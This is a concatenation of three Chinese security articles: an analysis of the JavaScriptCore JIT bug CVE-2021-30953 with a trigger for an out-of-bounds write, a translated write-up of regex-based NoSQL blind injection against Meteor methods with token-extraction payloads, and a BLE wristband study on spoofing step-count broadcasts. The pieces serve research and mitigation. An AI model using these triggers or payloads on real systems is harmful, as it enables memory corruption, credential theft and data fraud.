我们都知道在INT32类型中，有一个INT_MIN，它的实际值是-2147483648，在JSC中，-(-2147483648)的结果会是什么呢？我们来看一个例子：
n = -2147483648 (INT_MIN)
let y = -n; // 2147483648 in 64bit value
let z = -n; // -2147483648 in 32 bit value, but overflow check normally
在JSC中，所有Number类型均采用64位浮点数表达，但是如果在JIT过程中n的类型是32位，则编译器会认为ArithNegate操作产生的结果也是32位的，且会附加上CheckOverflow的检查，所以当n=-2147483648时，-n的结果也会是-2147483648，如果此时ArithMode为CheckOverflow，则会发生bailout，如若ArithMode为Unchecked，则不会bailout。
我们来看看ArithNegate的JIT编译函数：
void compileArithNegate()
{
switch (m_node->child1().useKind()) {
case Int32Use: {
LValue value = lowInt32(m_node->child1());
LValue result;
if (!shouldCheckOverflow(m_node->arithMode()))
result = m_out.neg(value);
else if (!shouldCheckNegativeZero(m_node->arithMode())) {
CheckValue* check = m_out.speculateSub(m_out.int32Zero, value);
blessSpeculation(check, Overflow, noValue(), nullptr, m_origin);
result = check;
} else {
speculate(Overflow, noValue(), nullptr, m_out.testIsZero32(value, m_out.constInt32(0x7fffffff)));
result = m_out.neg(value);
}
setInt32(result);
break;
}
从代码中也能看出，CheckOverflow会产生溢出检查的汇编代码，Unchecked则直接产生 neg 汇编指令。
## CheckInBounds
JSC中针对数组的访问，FTL SSALowering优化阶段会引入一个index范围检查的opcode: CheckInBounds，相应的代码如下：
case GetByVal: {
lowerBoundsCheck(m_graph.varArgChild(m_node, 0), m_graph.varArgChild(m_node, 1), m_graph.varArgChild(m_node, 2));
break;
}
case PutByVal:
case PutByValDirect: {
Edge base = m_graph.varArgChild(m_node, 0);
Edge index = m_graph.varArgChild(m_node, 1);
Edge storage = m_graph.varArgChild(m_node, 3);
if (lowerBoundsCheck(base, index, storage))
break;
...
Node* length = m_insertionSet.insertNode(
m_nodeIndex, SpecInt32Only, op, m_node->origin,
OpInfo(m_node->arrayMode().asWord()), Edge(base.node(), KnownCellUse), storage);
checkInBounds = m_insertionSet.insertNode(
m_nodeIndex, SpecInt32Only, CheckInBounds, m_node->origin,
index, Edge(length, KnownInt32Use));
编译 CheckInBounds 的函数如下：
void compileCheckInBounds()
{
speculate(
OutOfBounds, noValue(), nullptr,
m_out.aboveOrEqual(lowInt32(m_node->child1()), lowInt32(m_node->child2())));
从代码中也可以看出，CheckInBounds实际就是检查 index>= 0 && index < array.length。
## DFGIntegerRangeOptimization
JSC FTL优化的 DFGIntegerRangeOptimization阶段，会删除一些它认为冗余的溢出和范围检查，例如下面的代码：
for (var i = 0; i < array.length; ++i) array[i];
运行到该阶段之前，循环体内相应的主要opcode如下：
CheckInBounds
GetByVal
很显然从JS代码中可以看出，i 的范围是[0,
array.length)，所以DFGIntegerRangeOptimization认为CheckInBounds是可以删除掉的，经该阶段优化之后，循环体内的opcode只剩GetByVal。
GetByVal
DFGIntegerRangeOptimization通过for (var i = 0; i < array.length;
++i)建立两个关系：Relationship(i >=0)和Relationship(i <
array.length)，而这两个关系刚好满足优化CheckInBounds的条件，相关代码如下：
根据 (1) && (2)
优化CheckInBounds(3)。从上述代码中可以总结出这样一个结论：要想优化CheckInBounds，必须建立两个Relationships：index
>=0 和 index < array.length。
## The Bug
DFGIntegerRangeOptimization会通过如下代码给 i = ArithAbs(n) 建立 i >= 0的关系：
case ArithAbs: {
if (node->child1().useKind() != Int32Use)
break;
setRelationship(Relationship(node, m_zero, Relationship::GreaterThan, -1));
break;
当 n < 0 且 Math.abs(n) 不会产生溢出的时候，DFGIntegerRangeOptimization会将 Math.abs(n)转化成
ArithNegate(n)，且 ArithMode 为 Unchecked，相关代码如下：
case ArithAbs: {
if (node->child1().useKind() != Int32Use)
break;
...
executeNode(block->at(nodeIndex));
if (minValue >= 0) {
node->convertToIdentityOn(node->child1().node());
changed = true;
break;
}
bool absIsUnchecked = !shouldCheckOverflow(node->arithMode()); // (1)
if (maxValue < 0 || (absIsUnchecked && maxValue <= 0)) {
node->convertToArithNegate(); // (2)
if (absIsUnchecked || minValue > std::numeric_limits<int>::min())
node->setArithMode(Arith::Unchecked); // (3)
changed = true;
break;
}
结合上述两段代码，如下实例代码会产生关系 i >= 0，且 Math.abs(n) 转换成 -n，但此时 ArithMode 为
CheckOverflow。
if(n < -1){
let i = Math.abs(n); // => (-n), CheckOverflow, i>=0;
}
那么关键问题就在于：要想 -int_min 操作不会被检查CheckOverflow，即 ArithNegate 的
ArithMode被设置成Arith::Unchecked(3)，则 ArithAbs 的 ArithMode也必须为 Arith::Unchecked。
此时问题转化成如何将 ArithAbs 的 ArithMode 设置成 Arith::Unchecked。
在Fixup阶段会设置 ArithAbs 的 ArithMode：
case ArithAbs: {
if (node->child1()->shouldSpeculateInt32OrBoolean()
&& node->canSpeculateInt32(FixupPass)) {
fixIntOrBooleanEdge(node->child1());
if (bytecodeCanTruncateInteger(node->arithNodeFlags())) // (1)
node->setArithMode(Arith::Unchecked);
else
node->setArithMode(Arith::CheckOverflow);
node->clearFlags(NodeMustGenerate);
node->setResult(NodeResultInt32);
break;
}
如果满足条件(1)，则会将 ArithMode 设置成 Unchecked。bytecodeCanTruncateInteger函数代码如下：
static inline bool bytecodeUsesAsNumber(NodeFlags flags)
{
return !!(flags & NodeBytecodeUsesAsNumber);
}
static inline bool bytecodeCanTruncateInteger(NodeFlags flags)
{
return !bytecodeUsesAsNumber(flags);
}
此时问题转化成如何将 ArithAbs 的 NodeFlags设置成 ~NodeBytecodeUsesAsNumber。
而 NodeFlags 的设置操作发生在 BackwardsPropagation阶段：
case ArithBitOr: //(1)
case ArithBitXor:
case ValueBitAnd:
case ValueBitOr:
case ValueBitXor:
case ValueBitLShift:
case ArithBitLShift:
case ArithBitRShift:
case ValueBitRShift:
case BitURShift:
case ArithIMul: {
flags |= NodeBytecodeUsesAsInt;
flags &= ~(NodeBytecodeUsesAsNumber | NodeBytecodeNeedsNegZero | NodeBytecodeUsesAsOther);
flags &= ~NodeBytecodeUsesAsArrayIndex;
node->child1()->mergeFlags(flags); // (2)
node->child2()->mergeFlags(flags);
break;
}
ArithBitOr 的操作会将 ArithBitOr->child1->flags 设置成 ~NodeBytecodeUsesAsNumber。
结合BackwardsPropagation阶段的代码来看看如下实例：
if(n < -1){
let i = Math.abs(n) | 0;
}
此时 ArithBitOr->child1() 即是 ArithAbs(n)，那么ArithAbs(n)->flags 会 merge(
~NodeBytecodeUsesAsNumber)，将 ArithAbs 的 NodeFlags设置成
~NodeBytecodeUsesAsNumber。然而 DFGIntegerRangeOptimization 阶段并没有 ArithBitOr
的优化处理，则 Math.abs(n)>= 0 的关系并不会传递到 i 。
此时问题转化成如何将 Math.abs(n) | 0 转换成 Math.abs(n)。
StrengthReduction 阶段解决了该问题：
case ArithBitOr:
handleCommutativity();
if (m_node->child1().useKind() != UntypedUse && m_node->child2()->isInt32Constant() && !m_node->child2()->asInt32()) {
convertToIdentityOverChild1(); // (1)
break;
}
break;
当 ArithBitOr->child2() 等于0时，ArithBitOr 被转换成 child1()，从而 Math.abs(n) | 0 转换成
Math.abs(n)。
把上述涉及到的几个优化阶段串联起来：
结合上述的优化流程，如下实例代码则成功优化 CheckInBounds：
function jit(arr, n) {
// Force n to be a 32bit integer
n |= 0;
if (n < -1) {
let i = Math.abs(n)|0; // (1) i >= 0, Unchecked
if (i < arr.length) { // (2) i < array.length
arr[i] = 1.04380972981885e-310; // (3) remove CheckInBounds
}
}
}
代码(1)建立关系 i >= 0；代码(2)建立关系 i < arr.length，则代码(3)处的 CheckInBounds会被优化。
再结合文章开始分析的，当 n = -2147483648 时，i = -n = -2147483648，整数溢出不会被检查，而此时 arr[i]
也没有CheckInBounds检查，则发生越界写。
## Exploit
漏洞利用采用比较常规的方法，通过越界写完成addrOf 和 fakeObj 两个原语，再结合 Samuel
Gro?介绍的方法完成任意地址读写。JSC公开的利用方法有很多，在这里就不详细介绍了。
## Patch
DFGIntegerRangeOptimization 在创建 ArithAbs >= 0关系时，增加了对 ArithMode 和最小值的检查。
## Conclusion
本文对CVE-2021-30953的成因进行了分析，详细介绍了漏洞涉及到的全部优化过程，文章最后简单介绍了漏洞利用方法和漏洞修复方法。
* * * | 社区文章 |
# Meteor NoSQL 盲注漏洞
## 0x00 前言
我最近在[Meteor](https://www.meteor.com/)程序中，发现了一个可调用的公开方法`"users.count"`，它可以返回应用程序中已注册的用户数。虽然从威胁评估的角度来看，它的危害并不大，但我还是深入挖掘了一下。
通过空参数`{}`调用`users.count`方法，后端会返回`1923`，即已注册的用户数。
但是，如果将参数更改为`{"username": "kertojasoo"}`，得到的结果却是`1`。
你发现了漏洞所在吗？
在这篇文章中，我将具体介绍如何利用该漏洞，如何自动化利用，如何在其他应用程序中找到类似的漏洞以及如何降低风险。
## 0x01 漏洞利用
我们可用以下函数从数据库中提取信息。
例如：
Meteor.call("users.count", {
"username": "kertojasoo",
"token": {$regex: '^[a-z].*'} // start's with [a-z] (26 possibilities)
}, console.log);
在此示例中，每个用户包含有一个`token`属性。如果查询的结果是`1`，我们可以推断出该用户的`token`是以小写字符开头的。接下来，我们将查询范围再缩小一半：
Meteor.call("users.count", {
"username": "kertojasoo",
"role": {$regex: '^[a-m].*'} // start's with [a-m] (13 possibilities)
}, console.log);
通过这种方法枚举，得到第一个字符后，将它添加到正则表达式，继续枚举下一个字符。
因此，虽然我们无法直接读取用户的令牌，通过布尔测试，我们可以进行二进制迭代搜索，最终得到正确的值，我将这种方法称之为“基于正则表达式的NoSQL盲注入“。
[GitHub上](https://gist.github.com/ojasookert/47151d86cb0d7a384694cb6e52c51a59)提供了这种漏洞利用的简单实现（线性搜索）。
如果您能够登录应用程序，就可以先在控制台中利用`Meteor.user()`方法得到用户名，再进行枚举。在[Meteor的官方指南中](https://guide.meteor.com/accounts.html#displaying-user-data)，还有针对用户提取bcrypt哈希的方法`"services.password.bcrypt"`，当然了，解析bcrypt哈希就是另一件事了。
## 0x02 meteor简介
首先，我们需要搞清楚，什么是Meteor方法？
Meteor利用method实现客户端 - 服务器的通信——从客户端获取服务器端的代码。“method”本身是一个JavaScript函数名称。
在服务器上定义method如下所示：
Meteor.methods({
'users.count'({ filter }) {
return Meteor.users.find(filter).count();
}
});
一个简单的客户端方法定义：
Meteor.call('users.count', (err, res) => {
console.log(res);
});
请注意， **以上示例并没有验证用户输入**
，由于服务器代码能够从客户端获取，所以所有的方法都必须实现授权，否则就可能有恶意的客户端滥用服务器。这一点类似于在进行REST处理时保护所有的API接口一样。
## 0x03 查找meteor方法
在测试Meteor应用程序时，要做的第一件事就是枚举所有公开的可调用方法。一些指南可能会建议你打开浏览器的开发人员工具，在JavaScript代码中搜索`Meteor.call`，然而还有一种更有效的方法可用于查找公开的Meteor方法。
_注意：如果Meteor应用程序在开发模式下运行，则可忽略以下大部分步骤，因为在这种情况下，我们在DevTools中就可以得到所有的源映射。_
<center>感谢您在开发模式下运行应用程序！</center>
我还编写了一个bash脚本，用于自动提取公开方法，可以在[GitHub](https://gist.github.com/ojasookert/a25953347820a61b50e732fe561495f8)上找到。但必须保证只在允许测试的服务器上运行！
<center>自动Meteor方法提取脚本的示例输出</center>
### 第1步：提取
利用`meteor build`构建Meteor应用程序时，全部JavaScript文件和模板都会被打包压缩成单个文件，我们可以通过`meteor run
--production`模拟这一过程，通过点击查看Meteor程序的源代码，查看到最后生成的代码。
查看JavaScript文件，最后一行（特别是以`var require=`开头的行）将包含应用程序指定的代码。这是我们要深入研究的地方。
### 第2步：JS美化
我们无法美化整个JavaScript
bundle，但是如果排除所有包和模板代码，仅保留应用程序本身的代码，还是能够格式化的。大多数代码编辑器都可以美化JavaScript代码，图方便的话也可以使用[在线工具](https://www.prettifyjs.net/)。正确地格式化可以方便我们进一步研究代码。
### 第3步：过滤
在美化后的JS代码中搜索`.call("`和`.methods(`，你将得到所有可调用的方法名。源代码还提供了测试相关的参数提示。
### 第4步：试验结果
在DevTools控制台中，你可以尝试调用这些方法并查看结果。可以使用简单的原语，如：
Meteor.call（“method.name”，console.log）
如果需要传递参数，还可以用以下方法：
Meteor.call（“method.name”，{key：“value”}，console.log）
## 0x04 危害
[Shodan.io](https://www.shodan.io/)目前报告有 **38,105个**
使用的Meteor服务主机。[BuiltWith](https://trends.builtwith.com/framework/Meteor)显示目前有
**17,334个** 网站在使用meteor。
导出的Shodan数据中发现了 **18,666个** 在标准位置含有JavaScript bundle的站点，其中 **9,379个**
站点具有Meteor方法。
<center>Shodan.io中查找到的meteor程序</center>
互联网上至少有 **659,746个** 公开曝光的Meteor方法。平均一个Meteor应用程序含有 **70** 种方法。
利用关键字搜索曝露的方法会产生以下结果：
┌─────────────────────────┐
│ Meteor Exposed Methods │
├──────────┬───────┬──────┤
│ Keyword │ Count │ \b │
├──────────┼───────┼──────┤
│ update │ 45430 │ 3724 │
│ get │ 87102 │ 3701 │
│ insert │ 14391 │ 2542 │
│ create │ 12475 │ 1707 │
│ delete │ 35230 │ 1813 │
│ add │ 46434 │ 1078 │
│ count │ 14674 │ 401 │
│ fetch │ 1434 │ 365 │
│ set │ 61780 │ 353 │
│ send │ 21199 │ 258 │
│ account │ 11634 │ 251 │
│ find │ 4299 │ 223 │
│ password │ 7870 │ 176 │
│ upload │ 9363 │ 175 │
│ read │ 11303 │ 171 │
│ submit │ 590 │ 81 │
│ filter │ 555 │ 77 │
│ token │ 21557 │ 44 │
│ open │ 3024 │ 39 │
└──────────┴───────┴──────┘
Count: grep -riP "$word" | wc -l \b adds word breaks: grep -riP "\b$word\b" | wc -l
虽然曝露的方法并不一定是可利用漏洞，但它仍然是一个攻击点。
## 0x05 缓解
即使开发框架承诺“以最少的代码实现最多的功能”，我们也不能忽略对用户输入数据的验证。
[Meteor的官方指南](https://guide.meteor.com/security.html)建议所有Meteor应用程序都使用Methods接受客户端的数据，并且严格限制每个方法能够接受的参数。你必须在这些参数进行业务处理之前验证它们。
## 0x06 结论
无论你想要客户端和后台通过哪种方法进行通信—Meteor方法，WebSockets还是RESTful API —
你都必须保证所有用户输入都经过了验证，不接受格式错误甚至恶意的数据。
_提醒：保持安全合法，不要在未经允许的服务器上测试。_
本文翻译自 medium.com， [原文链接](https://medium.com/rangeforce/meteor-blind-nosql-injection-29211775cd01) 。如若转载请注明出处。 | 社区文章 |
**作者：Light & Yimi Hu @ PwnMonkeyLabs
原文链接：<https://mp.weixin.qq.com/s/ezVtYoMXzwt7sIUUOMiWwA>**
## **背景**
在2019年的某个月份，笔者的朋友给笔者送来了一个手环，让笔者搞一搞。详细询问之后，笔者理清了具体情况：这个手环会收集佩戴者的步数并上报给公司，公司认为步数不够的员工显然是没有业绩的。好一个奇怪判断依据。
这个BLE智能手环就是本篇中的研究目标，由于当时的原版手环并不方便透露给大家，而且早已还给了朋友，所以我们选用了另一款手环。该手环是我们研究原版手环之后，根据其功能，专门订制开发的一款手环，可以实现相同的效果，非常合适在这里进行展示。如下图所示：
图1-1 定制BLE智能手环
上图即为我们定制的BLE智能手环（没错，我们也是DC0086的成员）。在本篇的结尾部分，我们会给一个小小的题目，感兴趣的读者可以尝试解答并发到我们的邮箱中，我们会挑选3个愿意动手的读者，送出上图中的BLE智能手环。不要太在意手环上面的时间，因为长时间放置在货架中，充电并开机之后，发现时间戳归零了。
### **理论分析**
拿到手环之时，我们以为是手环可以连接WiFi，通过WiFi实时上传步数等信息，也可能是通过4G/3G上传数据。但是我们并没有发现任何关于WiFi或者4G相关的设置选项，反而有很多关于BLE通信的设置，所以我们判断这个智能手环应该是靠BLE进行数据通信。
既然已经确定了手环的通信方式，那么下一步就是确定每个佩戴者的步数是如何上报给服务器的。这里，我们做了两种假设：1.
每个手环不停地广播自身的数据信息，某个设备只要扫描一下附近的广播数据就可以获得所有附近佩戴者的步数；2.某个设备会以轮询的方式和每个BLE智能手环建立连接，收集相关信息之后，断开连接。
上文所述的某个收集信息的设备，与我们所了解的路由器有些类似。我们尝试着以“蓝牙路由器”为关键词进行搜索，发现确实有一些类似的产品。原本我们打算买一个蓝牙路由器回来研究，但仔细思考之后，其实不用买设备回来也能验证我们上文中提到的两个假设。如果是第一种上传方法，我们直接抓一下手环的广播包就可以了；如果是第二种上传方法，用nRF
connect连接手环，观察所有的characteristic，看看是否有可疑数据即可完成分析。
## **理论验证**
在本专题的第四篇中，我们提到了一个用于嗅探BLE通信的小设备，在本篇中我们将继续使用这个BLE
dongle进行分析。根据上一章的分析结论，我们先考察一下“假设一”是否正确。
首先，我们在SmartRF Packet Sniffer工具中，以通信包的类型为判断依据设置过滤，然后开始抓包10秒钟，如下图：
图3-1 第一次抓包截图
记录下这次抓包中出现的蓝牙MAC地址，如图中的右侧红框部分。
然后，我们拿着手环和电脑，换一个其他较远的位置，重新抓包。对比两次不同位置的抓包结果，即可发现某个设备的MAC地址在两次抓包中都有出现，那么可以判断该MAC地址即为BLE智能手环的MAC地址。
最后，我们以该MAC地址为依据进行过滤，进行第三次抓包，其结果如下图所示：
图3-2 第三次抓包截图
上图中的右侧红框部分即为广播的数据。此时，手环中显示的实际步数如下图所示：
图3-3 手环的实际步数
结合两图的情况，可以判断出广播的第9字节应该就是步数，一边抓包，一边走路，即可发现该字节在同步变化。
除了Dongle监听之外，我们在nRF connect中也可以看到该手环的广播数据，某次nRF
Connect扫描的结果如下图所示，图中我们可以看到Service
UUID列表里有0x86DC，这并不是手环真实的Service，只是我们在定制手环时留下的DC0086的标志。
图3-4 通过nRF connect工具查看
## **伪造广播数据**
现在我们知道了手环如何上报自己统计的步数，接下来我们要尝试发送伪造的广播数据。
在本专题之前的篇章中，曾介绍过nRF connect可以发送BLE通信的广播包。但受限于Android系统本身，在nRF
connect发送的BLE广播包中，可以设置的各种广播内容并不多，尤其是不能设置广播时使用的MAC地址。这里我们需要一个自由度更高的设备，用于定制我们想要发出的广播内容，并修改发送广播时使用的MAC地址。
截至目前，我们只是使用了USB dongle用作BLE通信的嗅探设备，其实这个USB dongle也是可以刷写固件的。在进行开发之前，先要确定USB
dongle使用的芯片，并选择相应的开发工具。在本专题第四篇中，我们介绍过USB dongle的核心是CC2540芯片，该芯片的工作原理图如下：
图4-1 CC2540工作原理图
上图中可以看到CC2540芯片选用了8051系列的CPU内核，所以我们选用了IAR For
8051作为IDE，由于我们不是专业的嵌入式开发工程师，相关知识就不多做介绍了。
在CC2540芯片开发包中，可以找到包含各种样例的工程文件夹，如下图：
图4-2 IAR蓝牙广播工程项目
其中，就有一个满足我们需求的蓝牙广播样例程序。打开此工程，根据第3节的分析结果调整代码，并编译工程，如下图，红框中的内容就是我们需要广播的数据。
图4-3 IAR编译工程
待编译结束之后，我们需要将其刷写覆盖原本USB dongle的固件。在刷写时，需要用cc debugger连接USB dongle和计算机，如下图：
图4-3 USB dongle通过cc debugger连接计算机
接下来使用SmartRF Flash Programmer刷写固件（该软件与上文中的抓包软件是同一系列的），并在刷写时设置MAC地址，如下图所示：
图4-4 刷写USB dongle固件
注意Location选择Secondary，如上图中红框位置。芯片在生产时设置的MAC地址是保存在Primary中，我们无法更改此MAC地址。程序开发者设置的MAC地址保存在Secondary中，当存在Secondary
Address时，Dongle优先使用Secondary Address。固件刷写完成之后，会按照广播我们在程序中设置的步数。
最后，还有一个小说明：原本的USB dongle固件在Packet Sniffer \bin \general
\firmware文件夹中，所以不用担心固件被刷坏而变砖的情况。
## **小结**
本篇中，我们对一款BLE智能手环进行了分析，研究了手环如何实时上传佩戴者步数，还修改了CC2540的样例工程，实现了我们需要的广播内容，由此对蓝牙广播数据有了更深入的认识。
在这里我们留下一个小问题：写一个扫描并收集附近蓝牙广播的安卓小应用，展示MAC地址和广播内容。
期待着各位读者把自己的应用发送到我们的邮箱：[email protected]
* * * | 社区文章 |
Subsets and Splits